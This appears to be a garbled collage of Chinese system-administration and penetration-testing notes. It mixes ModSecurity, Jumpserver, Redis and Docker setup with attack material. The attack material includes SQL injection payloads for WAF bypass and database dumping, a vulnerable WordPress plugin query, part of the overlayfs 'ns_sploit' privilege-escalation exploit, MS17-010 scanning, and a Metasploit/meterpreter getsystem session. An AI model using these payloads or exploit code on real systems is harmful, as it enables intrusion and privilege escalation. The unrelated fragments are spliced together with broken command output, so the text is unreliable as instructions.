wget https://github.com/fatedier/frp/releases/download/v0.31.2/frp_0.31.2_linux_amd64.tar.gz tar zxvf frp_0.31.2_linux_amd64.tar.gz cd frp_0.31.2_linux_amd64/
[root@localhost opt]# cd nginx-1.9.2 [root@localhost nginx-1.9.2]# ./configure --add-module=/opt/modsecurity-2.9.1/nginx/modsecurity [root@localhost nginx-1.9.2]# make && make install
方法二：编译通过ModSecurity-Nginx Connector加载的动态模块
编译LibModSecurity(modsecurity-3.0)
1 2 3 4 5 6 7 8
$ cd /root$ git clone https://github.com/SpiderLabs/ModSecurity $ cd ModSecurity $ git checkout -b v3/master origin/v3/master $ sh build.sh$ git submodule init $ git submodule update $ ./configure $ make $ make install
LibModSecurity会安装在/usr/local/modsecurity/lib目录下。
1 2
$ ls /usr/local/modsecurity/lib libmodsecurity.a libmodsecurity.la libmodsecurity.so libmodsecurity.so.3 libmodsecurity.so.3.0.0
编译安装Nginx并添加ModSecurity-Nginx Connector模块
使用ModSecurity-Nginx模块来连接LibModSecurity
1 2 3 4 5
$ cd /opt $ git clone https://github.com/SpiderLabs/ModSecurity-nginx.git modsecurity-nginx $ tar xzvf nginx-1.9.2.tar.gz $ cd nginx-1.9.2$ ./configure --add-module=/root/modsecurity-nginx $ make$ make && make install
include modsecurity.conf include owasp-modsecurity-crs/crs-setup.conf include owasp-modsecurity-crs/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf include owasp-modsecurity-crs/rules/REQUEST-901-INITIALIZATION.conf Include owasp-modsecurity-crs/rules/REQUEST-903.9002-WORDPRESS-EXCLUSION-RULES.conf include owasp-modsecurity-crs/rules/REQUEST-905-COMMON-EXCEPTIONS.conf include owasp-modsecurity-crs/rules/REQUEST-910-IP-REPUTATION.conf include owasp-modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf include owasp-modsecurity-crs/rules/REQUEST-912-DOS-PROTECTION.conf include owasp-modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf include owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf include owasp-modsecurity-crs/rules/REQUEST-921-PROTOCOL-ATTACK.conf include owasp-modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf include owasp-modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf include owasp-modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf include owasp-modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf include owasp-modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf include owasp-modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf include owasp-modsecurity-crs/rules/REQUEST-943-APPLICATION-ATTACK-SESSION-FIXATION.conf include owasp-modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf include owasp-modsecurity-crs/rules/RESPONSE-950-DATA-LEAKAGES.conf include owasp-modsecurity-crs/rules/RESPONSE-951-DATA-LEAKAGES-SQL.conf include owasp-modsecurity-crs/rules/RESPONSE-952-DATA-LEAKAGES-JAVA.conf include owasp-modsecurity-crs/rules/RESPONSE-953-DATA-LEAKAGES-PHP.conf include owasp-modsecurity-crs/rules/RESPONSE-954-DATA-LEAKAGES-IIS.conf include owasp-modsecurity-crs/rules/RESPONSE-959-BLOCKING-EVALUATION.conf include owasp-modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf include owasp-modsecurity-crs/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf
注：考虑到可能对主机性能上的损耗，可以根据实际需求加入对应的漏洞的防护规则即可。
配置Nginx支持Modsecurity
启用Modsecurity
使用静态模块加载的配置方法
在需要启用Modsecurity的主机的location下面加入下面两行即可：
1 2 3 4 5 6 7 8 9 10 11 12
[root@localhost modsecurity-2.9.1]# vim /usr/local/nginx/conf/nginx.conf server { listen 80; server_name localhost;
[root@localhost rules]# /usr/local/nginx/sbin/nginx -t nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
http://127.0.0.1/test.php?id=1' and /*!12345updatexml!*/(1,concat(0x7e,version()))%23 http://127.0.0.1/test.php?id=1' and /*!12345extractvalue!*/(1,concat(0x7e,version()))%23
First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween.
[root@localhost ~]# cd /opt [root@localhost ~]# tar xvf Python-3.6.1.tar.xz && cd Python-3.6.1 [root@localhost ~]# ./configure && make -j 4 && make install
[root@localhost ~]# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: SHA256:8bIwbzG55sTSvCCGCgI/ajtdxeOp6UXJfBDBcG6jgyo root@localhost.localdomain The key's randomart image is: +---[RSA 2048]----+ | .o+. | | o.. | | .=. | | . =+++ | |. . o==S.. | |.... .oX.* | |E.= + =.@ | |+= + +.B . | |+.o .. o | +----[SHA256]-----+
粘贴公钥填入个人信息中
1 2 3 4 5
[root@localhost ~]# cd .ssh/ [root@localhost .ssh]# ls id_rsa id_rsa.pub known_hosts [root@localhost .ssh]# cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClEDeVNMYP61JPrCXUQHQYC1ddIpPqroNrQn3SXZXLfef2g0c5xmwlHqgiHEjBGLR+0TIjkXDFY0Z9JU/TebGyrBbo9bTM0tkxVfWVAR/Ayba7yN98Sr43evev1yHIsg31eyPa2wE6TRmpz6jCHTMOodw4+TMkfiXdPDyw2Ny+6zOXGtK8Kz2Sie1SCgSWrNaGp364aZInjB7J2H5fCXLwW6SQqmcwer29q2djNw0ILc4acYpDe+pOMm2CGbnFvTaB6T9A1hfdpmQ74TnfI4frukM2vUqKwms6/At+TVqvWl+RX9jU83y7pOSoWZeRKKoJct4frpcPghAYJI1+qhtz root@localhost.localdomain
创建资产
创建Linux资产
编辑资产树
节点名不能重名,右击节点可以添加,删除和重命名节点,以及进行资产相关的操作.
创建管理用户
jumpserver里各个用户的说明
管理用户是服务器的 root，或拥有 NOPASSWD: ALL sudo 权限的用户，Jumpserver 使用该用户来推送系统用户、获取资产硬件信息等。
节点，用户组，系统用户是一对一的关系，所以当拥有 Linux、Windows 不同类型资产时，应该分别给 Linux 资产和 Windows 资产创建授权规则。
在授权成功后,jumpserver会自动推送一个帐号，自动在资产服务器上创建系统用户
其原理就是在/etc/sudoers设置该用户的权限,sudo相关的规则也会被自动推送过来
1
test1 ALL=(ALL) NOPASSWD: /sbin,/bin
用户使用资产
登录 Jumpserver
创建授权规则的时候，选择了用户组，所以这里需要登录所选用户组下面的用户才能看见相应的资产。
使用无痕浏览器，再打开一个窗口，进行登录：
使用刚刚创建的用户haha去登陆,连接资产主机
也可以通过xshell去连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
[root@localhost ~]# ssh -p 2222 haha@192.168.48.139 The authenticity of host '[192.168.48.139]:2222 ([192.168.48.139]:2222)' can't be established. RSA key fingerprint is SHA256:51aZmkQvw20kIozk9n3Sg0aGUJ6ZSJMQyJInC3HQ08w. RSA key fingerprint is MD5:82:e3:ef:bf:8e:5b:db:bd:e2:56:67:4e:08:e1:d1:b0. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[192.168.48.139]:2222' (RSA) to the list of known hosts.
[root@localhost local]# tar zxvf redis-4.0.14.tar.gz
编译
1
[root@localhost redis-4.0.14]# make
如果出现以下报错
1 2 3 4 5 6 7 8 9 10
[root@localhost redis-4.0.14]# make cd src && make all make[1]: 进入目录“/usr/local/redis-4.0.14/src” CC Makefile.dep make[1]: 离开目录“/usr/local/redis-4.0.14/src” make[1]: 进入目录“/usr/local/redis-4.0.14/src” CC adlist.o In file included from adlist.c:34:0: zmalloc.h:50:31: 致命错误：jemalloc/jemalloc.h：没有那个文件或目录 #include <jemalloc/jemalloc.h>
输入
1
make MALLOC=libc
接着在进行编译即可
初始化redis
1 2
[root@localhost redis-4.0.14]# cd utils/ [root@localhost utils]# ./install_server.sh
如果出现以下问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14
[root@localhost utils]# ./install_server.sh Welcome to the redis service installer This script will help you easily set up a running redis server
Please select the redis port for this instance: [6379] Selecting default: 6379 Please select the redis config file name [/etc/redis/6379.conf] Selected default - /etc/redis/6379.conf Please select the redis log file name [/var/log/redis_6379.log] Selected default - /var/log/redis_6379.log Please select the data directory for this instance [/var/lib/redis/6379] Selected default - /var/lib/redis/6379 Please select the redis executable path [] Mmmmm... it seems like you don't have a redis executable. Did you run make install yet?
[root@localhost docker]# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 2822f36cb76d centos:latest "bash -c 'while true 11 minutes ago Up 11 minutes goofy_hodgkin
列所有的容器(包含沉睡/退出状态的容器)
1
docker ps -a
从容器中取日志,查看输出内容
语法:docker logs 容器id
1
[root@localhost ~]# dockerCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 2822f36cb76d centos:latest "bash -c 'while true 11 minutes ago Up 11 minutes goofy_hodgkin logs 2822f36cb76defc5923ea509d32eaa3fae165830064484746c97aabbc0339839
First take the IP from HTTP_X_FORWARDED_FOR header. ----------------------------------------------------------------------- 48 $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR"); 49 if(strstr($row['ck_ips'], $ip)) { 50 // die('error|You have already voted on this item!'); 51 // Just don't count duplicated votes 52 $duplicated = 1; 53 $ck_ips = $row['ck_ips']; 54 }
Later made a UPDATE without filter the input. ------------------------------------------------------------------------ 77 $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips . "' WHERE ck_comment_id = $k_id";
fprintf(stderr,"mount #1\n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); exit(-1); } file = ".access"; chmod("/tmp/ns_sploit/work/work",0777); } else file = "ns_last_pid";
root@kali:~# nmap -sV -p- --script=banner 192.168.149.132 Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-03 17:20 CST Nmap scan report for 192.168.149.132 Host is up (0.0012s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) |_banner: SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) MAC Address: 00:0C:29:E8:DA:C7 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 38.04 seconds
http://192.168.239.131/pentest/test/sqli/sqltamp.php?gid=1' union select 1,2,3,group_concat(table_name)from information_schema.tables where table_schema='pentesterlab'--+
http://192.168.239.131/pentest/test/sqli/sqltamp.php?gid=1' union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name='flag'--+
结果为:id,flag 查看其值:
1
http://192.168.239.131/pentest/test/sqli/sqltamp.php?gid=1' union select 1,2,3,group_concat(id,0x7e,flag)from flag--+
Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
1 2 3 4 5 6 7 8 9 10 11 12 13 14
smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
msf > search ms17-010 //在漏洞库中搜索ms17-010的payload [!] Module database cache not built yet, using slow search
Matching Modules ================
Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/smb/ms17_010_command 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
meterpreter > help //输入help命令可以查看在meterpreter模块下执行的命令 meterpreter > sysinfo //查看系统信息 Computer : MYCOMPUTER OS : Windows .NET Server (Build 3790, Service Pack 2). Architecture : x86 System Language : zh_CN Domain : LOUISNIE Logged On Users : 3 Meterpreter : x86/windows meterpreter > getsystem //提升到system权限 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
